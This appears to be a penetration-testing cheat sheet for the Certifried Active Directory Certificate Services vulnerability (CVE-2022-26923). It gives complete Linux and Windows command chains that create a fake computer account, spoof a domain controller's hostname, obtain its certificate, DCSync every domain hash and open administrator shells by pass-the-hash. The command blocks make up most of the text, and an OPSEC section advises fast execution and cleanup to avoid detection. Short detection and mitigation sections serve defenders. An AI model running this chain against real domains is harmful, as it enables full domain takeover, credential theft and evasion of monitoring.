Certificate Persistence — Certifried (CVE-2022-26923)
Quick Reference
| Field | Value |
|---|---|
| Category | Privilege Escalation (Default Config CVE) |
| Difficulty | Medium |
| Pre-requisites | Low-priv domain creds + MachineAccountQuota > 0 + unpatched (pre-KB5014754) |
| Tools | Certipy, Impacket (addcomputer, secretsdump) |
| OPSEC Noise | Medium — computer account creation + dNSHostName change |
| CVE | CVE-2022-26923 (CVSS 8.8) |
| One-liner | Create computer account → spoof dNSHostName to DC hostname → request Machine cert → authenticate as DC → DCSync. |
What Is Certifried?
Certifried is a privilege escalation vulnerability discovered by Oliver Lyak (the same researcher who wrote Certipy) and disclosed in May 2022. It carries a CVSS score of 8.8 and requires only low-privileged domain credentials to exploit. Unlike all previous ESC attacks which abused misconfigurations, Certifried is a default-configuration vulnerability — meaning a freshly deployed Active Directory environment with AD CS installed is vulnerable out of the box with no misconfigurations required.
The root cause is deceptively elegant. When a domain user creates a computer account, AD grants them Validated Write to dNSHostName and Validated Write to servicePrincipalName permissions on that account. The CA uses the dNSHostName attribute to identify machine certificates. By setting a newly created computer account’s dNSHostName to match a Domain Controller’s hostname, a low-privileged user can request a certificate that the CA believes belongs to the DC — then authenticate as the DC machine account and DCSync the entire domain.
The Core Logic
Normal cert request flow:
User creates computer → dNSHostName = "MYPC.domain.htb"
Requests Machine cert → CA reads dNSHostName
CA issues cert → "MYPC.domain.htb"
Authenticates as → MYPC$
Certifried abuse flow:
User creates computer → dNSHostName = "DC01.domain.htb" ← SPOOFED
Requests Machine cert → CA reads dNSHostName
CA issues cert → "DC01.domain.htb" ← DC's identity
Authenticates as → DC01$ ← DOMAIN CONTROLLER
The CA has no mechanism to verify that the requester should be allowed to claim the DC’s hostname — it simply trusts whatever dNSHostName says.
Required Conditions
| Condition | Notes |
|---|---|
| AD CS is installed in the domain | Default state when CS role is deployed |
MachineAccountQuota > 0 (default = 10) | Allows any domain user to create computer accounts |
Machine or Computer template enrollable by domain users | Default on most AD CS deployments |
| System is unpatched (pre-May 2022) | KB5014754 patches this — check for it |
💡 Check
MachineAccountQuotawith:netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' -M maq # or crackmapexec ldap $TARGET -u 'lowpriv' -p 'Password123!' --get-desc-usersGet-ADDomain | Select-Object -ExpandProperty MachineAccountQuota
Checking if Patched
Before attempting, confirm whether the target is patched:
# Check for KB5014754 patch via CrackMapExec
netexec smb $TARGET -u 'lowpriv' -p 'Password123!' -M ms17-010
# Verify via LDAP — check StrongCertificateBindingEnforcement
netexec ldap $TARGET -u 'lowpriv' -p 'Password123!' \
-x 'reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement'
# Values:
# 0 = Not enforced → Certifried works
# 1 = Audit mode → Certifried likely works
# 2 = Full enforcement → Certifried blocked
Step 0 — Enumeration
# Standard certipy scan — look for Machine template available
certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
-dc-ip $TARGET -stdout
# Specifically look for this in template output:
# Template Name: Machine
# Client Authentication: True
# Enrollment Rights: DOMAIN\Domain Computers (or Authenticated Users)
Full Attack Chain — Linux (Certipy + Impacket)
Step 1 — Create a New Computer Account
# Using Impacket addcomputer — requires MachineAccountQuota > 0
impacket-addcomputer \
'domain.htb/lowpriv:Password123!' \
-dc-ip $TARGET \
-computer-name 'EVILPC$' \
-computer-pass 'EvilPass123!'
# Verify it was created
netexec smb $TARGET -u 'lowpriv' -p 'Password123!' \
--computers
Expected output:
[*] Successfully added machine account 'EVILPC$' with password 'EvilPass123!'.
Step 2 — Clear the SPN on the New Computer Account
This is a critical prerequisite. By default, creating a computer account also sets servicePrincipalName values that include its own hostname. If you try to change dNSHostName to the DC’s hostname without first clearing the SPNs, AD’s SPN uniqueness check will block the attribute change (because the DC already has those SPNs registered):
# Clear the SPNs on the fake computer account
impacket-addcomputer \
'domain.htb/lowpriv:Password123!' \
-dc-ip $TARGET \
-computer-name 'EVILPC$' \
-computer-pass 'EvilPass123!' \
-spn-clear
# Or via Certipy directly
certipy-ad account \
-u 'lowpriv@domain.htb' \
-p 'Password123!' \
-dc-ip $TARGET \
-user 'EVILPC$' \
-spn-clear update
Step 3 — Set dNSHostName to the DC’s Hostname
# Change dNSHostName of EVILPC$ to match the Domain Controller
certipy-ad account \
-u 'lowpriv@domain.htb' \
-p 'Password123!' \
-dc-ip $TARGET \
-user 'EVILPC$' \
-dns 'DC01.domain.htb' \
update
# Verify the change
certipy-ad account \
-u 'lowpriv@domain.htb' \
-p 'Password123!' \
-dc-ip $TARGET \
-user 'EVILPC$' \
lookup
Expected output:
[*] Updating computer account 'EVILPC$'
[*] Successfully updated computer account 'EVILPC$' with attribute dNSHostName = DC01.domain.htb
⚠️ If you get
Constraint Violationhere, the SPN was not cleared properly — go back to Step 2. AD enforces SPN uniqueness which prevents two accounts sharing the same DNS hostname if their SPNs overlap.
Step 4 — Request a Machine Certificate
Now request a certificate using the Machine template, authenticating as your fake computer account EVILPC$. The CA reads dNSHostName = DC01.domain.htb and issues a cert for the DC:
certipy-ad req \
-u 'EVILPC$@domain.htb' \
-p 'EvilPass123!' \
-dc-ip $TARGET \
-ca 'DOMAIN-CA-NAME' \
-template 'Machine'
# Output: dc01.pfx (named after the DNS hostname it was issued for)
Expected output:
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 9
[*] Got certificate with DNS hostname 'DC01.domain.htb'
[*] Saving certificate and private key to 'dc01.pfx'
💡 The cert is saved as
dc01.pfx— named from the DNS hostname embedded in it. This is your DC impersonation certificate.
Step 5 — Authenticate as the DC Machine Account
certipy-ad auth \
-pfx dc01.pfx \
-username 'DC01$' \
-domain domain.htb \
-dc-ip $TARGET
Expected output:
[*] Using principal: 'DC01$@domain.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'DC01$.ccache'
[*] Got hash for 'DC01$@domain.htb': aad3b435b51404eeaad3b435b51404ee:NTHASH
Step 6 — DCSync (Full Domain Compromise)
# Using TGT
export KRB5CCNAME='DC01$.ccache'
secretsdump.py -k -no-pass DC01.domain.htb
# Using NT hash
secretsdump.py \
-hashes :NTHASH \
'domain.htb/DC01$'@DC01.domain.htb
# Output:
# Administrator:500:aad3b435...:ADMIN_NTHASH
# krbtgt:502:aad3b435...:KRBTGT_HASH
# All domain hashes...
Step 7 — Shell as Administrator
# Pass-the-Hash with Administrator hash from DCSync
evil-winrm -i $TARGET -u administrator -H <ADMIN_NTHASH>
wmiexec.py administrator@$TARGET -hashes :ADMIN_NTHASH
psexec.py administrator@$TARGET -hashes :ADMIN_NTHASH
Optional Step — Clean Up the Fake Computer Account
# Remove the fake computer account after exploitation
impacket-addcomputer \
'domain.htb/lowpriv:Password123!' \
-dc-ip $TARGET \
-computer-name 'EVILPC$' \
-computer-pass 'EvilPass123!' \
-delete
Full Attack Chain — Windows (PowerShell + Certify.exe + Rubeus)
# ── Step 1: Create fake computer account ─────────────────────────────────────
Import-Module ActiveDirectory
New-ADComputer -Name "EVILPC" -AccountPassword (ConvertTo-SecureString "EvilPass123!" -AsPlainText -Force)
# ── Step 2: Clear SPNs ────────────────────────────────────────────────────────
Set-ADComputer -Identity "EVILPC" -ServicePrincipalNames @{}
# ── Step 3: Set dNSHostName to DC's hostname ──────────────────────────────────
Set-ADComputer -Identity "EVILPC" -DNSHostName "DC01.domain.local"
# ── Step 4: Request Machine certificate ──────────────────────────────────────
# Run as EVILPC$ account context
.\Certify.exe request /ca:DC01.domain.local\DOMAIN-CA /template:Machine
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out dc01.pfx
# ── Step 5: Get TGT as DC01$ ─────────────────────────────────────────────────
.\Rubeus.exe asktgt /user:DC01$ /certificate:dc01.pfx /getcredentials /nowrap
# ── Step 6: Inject TGT and DCSync ────────────────────────────────────────────
.\Rubeus.exe createnetonly /program:powershell.exe /show
.\Rubeus.exe ptt /ticket:<base64ticket>
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:domain.local /all /csv"'
Certifried Visual Attack Flow
[lowpriv@domain.htb] (MachineAccountQuota > 0)
│
│ addcomputer → EVILPC$
▼
[EVILPC$ created]
│
│ Clear SPNs on EVILPC$
│ Set dNSHostName = DC01.domain.htb
▼
[EVILPC$.dNSHostName = DC01.domain.htb] ← CA reads this
│
│ certipy req -template Machine -u EVILPC$
▼
[dc01.pfx issued] ← Contains DC01.domain.htb identity
│
│ certipy auth -pfx dc01.pfx -username DC01$
▼
[TGT + NT hash for DC01$]
│
│ secretsdump DCSync
▼
[ALL domain hashes — full compromise]
Why This Works — The Patch Explanation
Before KB5014754, the KDC performed certificate-based authentication by matching the UPN or DNS name in the certificate to an AD object without enforcing that the requester had rights to claim that identity. Post-patch, the KDC enforces strong certificate binding — it looks for an objectSid extension in the certificate and validates it matches the AD object being authenticated as. Since EVILPC$ has a different objectSid than DC01$, the forged identity is rejected.
| Pre-Patch | Post-Patch |
|---|---|
KDC matches cert dNSHostName → finds DC01$ in AD → issues TGT | KDC checks cert objectSid extension → EVILPC$ SID ≠ DC01$ SID → rejects |
| No SID validation | objectSid extension in cert is mandatory |
| Certifried works | Certifried blocked |
Certifried vs ESC Attacks — Where It Fits
| ESC1–7 | ESC8/ESC11 | Certifried | |
|---|---|---|---|
| Requires misconfiguration | ✅ | ✅ | ❌ Default config is vulnerable |
| CVSS Score | Varies | High | 8.8 |
| Discovery | SpecterOps (Will Schroeder) | SpecterOps | Oliver Lyak (Certipy author) |
| Requires domain creds | ✅ | ⚠️ Sometimes not | ✅ |
| Requires MachineAccountQuota > 0 | ❌ | ❌ | ✅ |
| Creates fake computer account | ❌ | ❌ | ✅ |
| Patched | Some | Some | ✅ May 2022 KB5014754 |
| Post-patch bypass | Varies | ESC16 | Check StrongCertificateBindingEnforcement value |
Detection Indicators
- Event ID 4741 — A computer account was created — alert on any
New-ADComputerfrom non-admin accounts - Event ID 4742 — A computer account was changed — specifically watch for
dNSHostNameattribute changes on recently created computer accounts - Event ID 4768 — Kerberos TGT requested for a machine account (
DC01$) from an IP that is not the DC’s actual IP address - LDAP monitoring — Alert on
dNSHostNamemodifications that result in a value matching an existing DC hostname - Event ID 4887 — Certificate issued for
DC01.domain.htbhostname where the requester account is NOTDC01$
Mitigation
- Apply KB5014754 — The single most direct fix; enforces strong certificate binding in the KDC
- Set
StrongCertificateBindingEnforcement = 2in the KDC registry key to move from audit mode to full enforcement after ensuring all certificates have been re-issued with theobjectSidextension - Set
MachineAccountQuota = 0— Prevents domain users from creating computer accounts; this breaks the attack at Step 1:Set-ADDomain -Identity domain.htb -Replace @{"ms-DS-MachineAccountQuota"="0"} - Monitor
dNSHostNamewrite events — Set up SACL auditing on all computer objects fordNSHostNameattribute modifications - Restrict who can add computers — Delegate computer creation rights only to specific OU-level accounts, not to all authenticated users
OPSEC Considerations
| Action | Event Generated | Noise Level |
|---|---|---|
| Computer account creation | Event ID 4741 | 🟡 Medium |
| SPN clear on computer account | Event ID 4742 | 🟢 Low |
| dNSHostName change to DC hostname | Event ID 4742 | 🟡 Medium |
| Certificate request (Machine template) | Event ID 4887 on CA | 🟢 Low |
| PKINIT authentication as DC$ | Event ID 4768 (from non-DC IP) | 🔴 High |
| DCSync | Event ID 4662 (replication) | 🔴 High |
| Computer account deletion (cleanup) | Event ID 4743 | 🟡 Medium |
⚠️ The most detectable step is the PKINIT authentication as DC$ from a non-DC IP address. The dNSHostName change to a DC hostname is also highly anomalous. Execute steps 3–5 rapidly and clean up the fake computer account immediately.